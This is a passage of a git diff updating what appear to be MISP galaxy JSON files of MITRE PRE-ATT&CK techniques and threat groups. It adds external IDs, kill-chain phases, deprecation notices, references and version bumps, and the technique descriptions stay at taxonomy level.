+ "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.",
"value": "Identify job postings and needs/gaps - PRE-T1044",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044"
+ ],
+ "external_id": "PRE-T1044",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "0722cd65-0c83-4c89-9502-539198467ab1"
},
{
- "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",
"value": "Conduct social engineering or HUMINT operation - PRE-T1153",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153"
+ ],
+ "external_id": "PRE-T1153",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0"
@@ -1385,6 +1947,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107"
+ ],
+ "external_id": "PRE-T1107",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6"
@@ -1395,6 +1961,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071"
+ ],
+ "external_id": "PRE-T1071",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8"
@@ -1405,6 +1975,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110"
+ ],
+ "external_id": "PRE-T1110",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe"
@@ -1415,6 +1989,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127"
+ ],
+ "external_id": "PRE-T1127",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717"
@@ -1425,6 +2003,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120"
+ ],
+ "external_id": "PRE-T1120",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:persona-development"
]
},
"uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9"
@@ -1435,6 +2017,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043"
+ ],
+ "external_id": "PRE-T1043",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a"
@@ -1445,6 +2031,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046"
+ ],
+ "external_id": "PRE-T1046",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624"
@@ -1455,6 +2045,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036"
+ ],
+ "external_id": "PRE-T1036",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "a2fc93cd-e371-4755-9305-2615b6753d91"
@@ -1465,6 +2059,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018"
+ ],
+ "external_id": "PRE-T1018",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:target-selection"
]
},
"uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877"
@@ -1475,6 +2073,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066"
+ ],
+ "external_id": "PRE-T1066",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc"
@@ -1485,6 +2087,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019"
+ ],
+ "external_id": "PRE-T1019",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:target-selection"
]
},
"uuid": "c860af4a-376e-46d7-afbf-262c41012227"
@@ -1495,6 +2101,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138"
+ ],
+ "external_id": "PRE-T1138",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93"
@@ -1505,16 +2115,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020"
+ ],
+ "external_id": "PRE-T1020",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:target-selection"
]
},
"uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9"
},
{
- "description": "A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.",
"value": "Targeted client-side exploitation - PRE-T1148",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148"
+ ],
+ "external_id": "PRE-T1148",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "72923cae-6c8c-4da2-8f48-b73389529c25"
@@ -1525,6 +2143,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042"
+ ],
+ "external_id": "PRE-T1042",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "59369f72-3005-4e54-9095-3d00efcece73"
@@ -1535,6 +2157,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113"
+ ],
+ "external_id": "PRE-T1113",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424"
@@ -1545,6 +2171,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091"
+ ],
+ "external_id": "PRE-T1091",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "6f088e84-37b2-44de-8df3-393908f2d77b"
@@ -1555,16 +2185,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059"
+ ],
+ "external_id": "PRE-T1059",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d"
},
{
- "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+ "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
"value": "Conduct cost/benefit analysis - PRE-T1003",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003"
+ ],
+ "external_id": "PRE-T1003",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "51bca707-a806-49bf-91e0-03885b0ac85c"
@@ -1575,6 +2213,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016"
+ ],
+ "external_id": "PRE-T1016",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-direction"
]
},
"uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e"
@@ -1585,6 +2227,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080"
+ ],
+ "external_id": "PRE-T1080",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-weakness-identification"
]
},
"uuid": "34450117-d1d5-417c-bb74-4359fc6551ca"
@@ -1595,6 +2241,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009"
+ ],
+ "external_id": "PRE-T1009",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "b355817c-cf63-43b4-94a4-05e9645fa910"
@@ -1605,6 +2255,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093"
+ ],
+ "external_id": "PRE-T1093",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d"
@@ -1615,6 +2269,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052"
+ ],
+ "external_id": "PRE-T1052",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31"
@@ -1625,16 +2283,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051"
+ ],
+ "external_id": "PRE-T1051",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "7dae871c-effc-444b-9962-4b7efefe7d40"
},
{
- "description": "Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",
"value": "Human performs requested action of physical nature - PRE-T1162",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162"
+ ],
+ "external_id": "PRE-T1162",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:compromise"
]
},
"uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8"
@@ -1645,6 +2311,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076"
+ ],
+ "external_id": "PRE-T1076",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-weakness-identification"
]
},
"uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9"
@@ -1655,6 +2325,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117"
+ ],
+ "external_id": "PRE-T1117",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a"
@@ -1665,6 +2339,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122"
+ ],
+ "external_id": "PRE-T1122",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234"
@@ -1675,6 +2353,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045"
+ ],
+ "external_id": "PRE-T1045",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "af358cad-eb71-4e91-a752-236edc237dae"
@@ -1685,6 +2367,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114"
+ ],
+ "external_id": "PRE-T1114",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc"
@@ -1695,6 +2381,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136"
+ ],
+ "external_id": "PRE-T1136",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2"
@@ -1705,16 +2395,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126"
+ ],
+ "external_id": "PRE-T1126",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a"
},
{
- "description": "If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.",
"value": "Unauthorized user introduces compromise delivery mechanism - PRE-T1164",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164"
+ ],
+ "external_id": "PRE-T1164",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:compromise"
]
},
"uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413"
@@ -1725,6 +2423,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098"
+ ],
+ "external_id": "PRE-T1098",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6"
@@ -1735,6 +2437,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097"
+ ],
+ "external_id": "PRE-T1097",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864"
diff --git a/clusters/mitre-pre-attack-intrusion-set.json b/clusters/mitre-pre-attack-intrusion-set.json
index 1e8b9f9..e10bc32 100644
--- a/clusters/mitre-pre-attack-intrusion-set.json
+++ b/clusters/mitre-pre-attack-intrusion-set.json
@@ -2,7 +2,7 @@
"name": "Pre Attack - intrusion Set",
"type": "mitre-pre-attack-intrusion-set",
"description": "Name of ATT&CK Group",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "1fdc8fa2-1708-11e8-99a3-67b4efc13c4f",
"authors": [
@@ -19,7 +19,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0023",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
- ]
+ ],
+ "external_id": "G0023"
},
"uuid": "d6e88e18-81e8-4709-82d8-973095da1e70"
},
@@ -43,7 +44,8 @@
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
- ]
+ ],
+ "external_id": "G0007"
},
"uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
},
@@ -60,7 +62,8 @@
"https://attack.mitre.org/wiki/Group/G0003",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/"
- ]
+ ],
+ "external_id": "G0003"
},
"uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063"
},
@@ -78,7 +81,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0005",
"http://www.crowdstrike.com/blog/whois-numbered-panda/"
- ]
+ ],
+ "external_id": "G0005"
},
"uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb"
},
@@ -95,21 +99,25 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0006",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ]
+ ],
+ "external_id": "G0006"
},
"uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662"
},
{
- "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
+ "description": "Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)",
"value": "Night Dragon - G0014",
"meta": {
"synonyms": [
- "Night Dragon"
+ "Night Dragon",
+ "Musical Chairs"
],
"refs": [
"https://attack.mitre.org/wiki/Group/G0014",
- "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf"
- ]
+ "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf",
+ "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/"
+ ],
+ "external_id": "G0014"
},
"uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8"
},
@@ -124,7 +132,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0025",
"https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
- ]
+ ],
+ "external_id": "G0025"
},
"uuid": "090242d7-73fc-4738-af68-20162f7a5aae"
}
diff --git a/galaxies/mitre-enterprise-attack-attack-pattern.json b/galaxies/mitre-enterprise-attack-attack-pattern.json
index 5c50973..a343713 100644
--- a/galaxies/mitre-enterprise-attack-attack-pattern.json
+++ b/galaxies/mitre-enterprise-attack-attack-pattern.json
@@ -3,6 +3,6 @@
"type": "mitre-enterprise-attack-attack-pattern",
"description": "ATT&CK Tactic",
"uuid": "fa7016a8-1707-11e8-82d0-1b73d76eb204",
- "version": 3,
+ "version": 4,
"icon": "map"
}
diff --git a/galaxies/mitre-enterprise-attack-course-of-action.json b/galaxies/mitre-enterprise-attack-course-of-action.json
index 8cc56ae..7323f08 100644
--- a/galaxies/mitre-enterprise-attack-course-of-action.json
+++ b/galaxies/mitre-enterprise-attack-course-of-action.json
@@ -3,6 +3,6 @@
"type": "mitre-enterprise-attack-course-of-action",
"description": "ATT&CK Mitigation",
"uuid": "fb5a36c0-1707-11e8-81f5-d732b22a4982",
- "version": 3,
+ "version": 4,
"icon": "chain"
}
diff --git a/galaxies/mitre-enterprise-attack-intrusion-set.json b/galaxies/mitre-enterprise-attack-intrusion-set.json
index 816c2a3..c5db9e8 100644
--- a/galaxies/mitre-enterprise-attack-intrusion-set.json
+++ b/galaxies/mitre-enterprise-attack-intrusion-set.json
@@ -3,6 +3,6 @@
"type": "mitre-enterprise-attack-intrusion-set",
"description": "Name of ATT&CK Group",
"uuid": "1f3b8c56-1708-11e8-b211-17a60c0f73ee",
- "version": 3,
+ "version": 4,
"icon": "user-secret"
}
diff --git a/galaxies/mitre-enterprise-attack-malware.json b/galaxies/mitre-enterprise-attack-malware.json
index 34fa007..c625321 100644
--- a/galaxies/mitre-enterprise-attack-malware.json
+++ b/galaxies/mitre-enterprise-attack-malware.json
@@ -3,6 +3,6 @@
"type": "mitre-enterprise-attack-malware",
"description": "Name of ATT&CK software",
"uuid": "fbb19af0-1707-11e8-9fd6-dbd88a04d33a",
- "version": 3,
+ "version": 4,
"icon": "optin-monster"
}
diff --git a/galaxies/mitre-enterprise-attack-tool.json b/galaxies/mitre-enterprise-attack-tool.json
index 9e5e74d..b5b55bc 100644
--- a/galaxies/mitre-enterprise-attack-tool.json
+++ b/galaxies/mitre-enterprise-attack-tool.json
@@ -3,6 +3,6 @@
"type": "mitre-enterprise-attack-tool",
"description": "Name of ATT&CK software",
"uuid": "fbfa0470-1707-11e8-be22-eb46b373fdd3",
- "version": 3,
+ "version": 4,
"icon": "gavel"
}
diff --git a/galaxies/mitre-mobile-attack-attack-pattern.json b/galaxies/mitre-mobile-attack-attack-pattern.json
index 050a3dd..7f56d55 100644
--- a/galaxies/mitre-mobile-attack-attack-pattern.json
+++ b/galaxies/mitre-mobile-attack-attack-pattern.json
@@ -3,6 +3,6 @@
"type": "mitre-mobile-attack-attack-pattern",
"description": "ATT&CK Tactic",
"uuid": "1c6d1332-1708-11e8-847c-e3c5643c41a5",
- "version": 2,
+ "version": 3,
"icon": "map"
}
diff --git a/galaxies/mitre-mobile-attack-course-of-action.json b/galaxies/mitre-mobile-attack-course-of-action.json
index 972a480..c1d15de 100644
--- a/galaxies/mitre-mobile-attack-course-of-action.json
+++ b/galaxies/mitre-mobile-attack-course-of-action.json
@@ -3,6 +3,6 @@
"type": "mitre-mobile-attack-course-of-action",
"description": "ATT&CK Mitigation",
"uuid": "0282356a-1708-11e8-8f53-975633d5c03c",
- "version": 2,
+ "version": 3,
"icon": "chain"
}
diff --git a/galaxies/mitre-mobile-attack-intrusion-set.json b/galaxies/mitre-mobile-attack-intrusion-set.json
index 4f8fd1f..4365172 100644
--- a/galaxies/mitre-mobile-attack-intrusion-set.json
+++ b/galaxies/mitre-mobile-attack-intrusion-set.json
@@ -3,6 +3,6 @@
"type": "mitre-mobile-attack-intrusion-set",
"description": "Name of ATT&CK Group",
"uuid": "0314e554-1708-11e8-b049-8f8a42b5bb62",
- "version": 2,
+ "version": 3,
"icon": "user-secret"
}
diff --git a/galaxies/mitre-mobile-attack-malware.json b/galaxies/mitre-mobile-attack-malware.json
index 79e3832..facc529 100644
--- a/galaxies/mitre-mobile-attack-malware.json
+++ b/galaxies/mitre-mobile-attack-malware.json
@@ -3,6 +3,6 @@
"type": "mitre-mobile-attack-malware",
"description": "Name of ATT&CK software",
"uuid": "03e3853a-1708-11e8-95c1-67cf3f801a18",
- "version": 2,
+ "version": 3,
"icon": "optin-monster"
}
diff --git a/galaxies/mitre-mobile-attack-tool.json b/galaxies/mitre-mobile-attack-tool.json
index 227f221..c879444 100644
--- a/galaxies/mitre-mobile-attack-tool.json
+++ b/galaxies/mitre-mobile-attack-tool.json
@@ -3,6 +3,6 @@
"type": "mitre-mobile-attack-tool",
"description": "Name of ATT&CK software",
"uuid": "1d0b4bce-1708-11e8-9e6e-1b130c9b0a91",
- "version": 2,
+ "version": 3,
"icon": "gavel"
}
diff --git a/galaxies/mitre-pre-attack-attack-pattern.json b/galaxies/mitre-pre-attack-attack-pattern.json
index 894ccc5..6edfedb 100644
--- a/galaxies/mitre-pre-attack-attack-pattern.json
+++ b/galaxies/mitre-pre-attack-attack-pattern.json
@@ -3,6 +3,6 @@
"type": "mitre-pre-attack-attack-pattern",
"description": "ATT&CK Tactic",
"uuid": "1f665850-1708-11e8-9cfe-4792b2a91402",
- "version": 2,
+ "version": 3,
"icon": "map"
}
diff --git a/galaxies/mitre-pre-attack-intrusion-set.json b/galaxies/mitre-pre-attack-intrusion-set.json
index 73fc137..01f4f51 100644
--- a/galaxies/mitre-pre-attack-intrusion-set.json
+++ b/galaxies/mitre-pre-attack-intrusion-set.json
@@ -3,6 +3,6 @@
"type": "mitre-pre-attack-intrusion-set",
"description": "Name of ATT&CK Group",
"uuid": "1fb6d5b4-1708-11e8-9836-8bbc8ce6866e",
- "version": 2,
+ "version": 3,
"icon": "user-secret"
}
diff --git a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py
index 9fc30f4..6eb30b0 100644
--- a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py
+++ b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-attack-pattern_galaxy.py
@@ -30,6 +30,9 @@ for element in os.listdir('.'):
value['meta']['refs'].append(reference['url'])
if 'external_id' in reference:
value['meta']['external_id'] = reference['external_id']
